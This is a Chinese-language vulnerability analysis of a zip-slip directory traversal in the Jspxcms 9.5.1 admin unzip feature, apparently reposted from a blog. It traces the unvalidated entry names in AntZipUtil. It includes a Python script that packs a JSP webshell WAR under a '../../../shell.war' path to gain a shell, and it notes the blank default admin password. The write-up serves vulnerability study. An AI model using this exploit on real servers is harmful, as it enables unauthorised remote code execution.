Jspxcms-9.5.1由zip解压功能导致的目录穿越漏洞分析

发布时间:2023年12月26日

Jspxcms 是企业级开源网站内容管理系统,支持多组织、多站点、独立管理的网 站群,也支持 Oracle、SQL Server、MySQL 等数据库。

Jspxcms-9.5.1 及之前版本的后台 ZIP 文件解压功能存在目录穿越漏洞,攻击者可以利用该漏洞,构造包含恶意 WAR 包的 ZIP 文件,达到 Getshell 的破坏效果

环境配置

在 MySQL 中创建数据库,字符集选择为utf8或者utf8mb4(支持更多特殊字符如表情字符 emoji,推荐)。
执行数据库脚本。数据库脚本在database目录下。

create database jspxcms;
use jspxcms;
source mysql.sql;

image-20231226151042978

找到 Tomcat 的安装目录,将 webapps 目录下 ROOT 文件夹删除(也可将webapps 目录下所有文件夹都删除)。建议使用干净的 Tomcat,不要部署其它应用。将下载包中的 ROOT 文件夹拷贝到 tomcat/webapps 目录下。

打开/ROOT/WEB-INF/classes/application.propertis文件,根据实际情况修改
spring.datasource.urlspring.datasource.usernamespring.datasource.password
的值。

image-20231226151540937

双击 tomcat/bin/startup.bat 文件启动即可

image-20231226152602981

漏洞分析

后台http://192.168.111.140:8080/cmscp/index.do admin 默认密码为空

使用 Burp Suite 进行抓包可以发现“解压文件”的接口调用情况

image-20231226154112539

该接口对应 jspxcms-9.5.1-release-src/src/main/java/com/jspxcms/core/web/back/WebFileUploadsController.java 的 unzip 方法

image-20231226155010095

对 unzip 方法进行跟进,发现它的具体实现在/jspxcms-9.5.1-release-src/src/main/java/com/jspxcms/core/web/back/WebFileControllerAbstractor.java 中。在对 ZIP文件进行解压时,程序调用了 AntZipUtil 类的 unzip 方法

image-20231226155524110

对 AntZipUtil 类的 unzip 方法进行跟进,可发现该方法未对 ZIP 压缩包中的文件名进行参数校验就进行文件的写入。这样的代码写法会引发“目录穿越漏洞”:

代码中使用 entry.getName() 获取 ZIP 条目的名称,并将其用作目标文件的路径

image-20231226161220395

漏洞利用

创建包含jsp webshell的war包:

image-20231226162902007

制作恶意 ZIP 文件

import zipfile 
if __name__ == "__main__":
    try:
        binary = b'test' 
        zipFile = zipfile.ZipFile("test.zip", "a", zipfile.ZIP_DEFLATED)
        info = zipfile.ZipInfo("test.zip")
        with open('shell.war', 'rb') as file:
            binary_data = file.read()
            zipFile.writestr("../../../shell.war", binary_data)
        zipFile.close() 
    except IOError as e:
        raise e 

image-20231226164701545

上传文件

image-20231226164726082

点击ZIP解压,shell.war就被解压到了webapps目录

image-20231226164816317

image-20231226164933407

文章来源:https://blog.csdn.net/st3pby/article/details/135226272
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。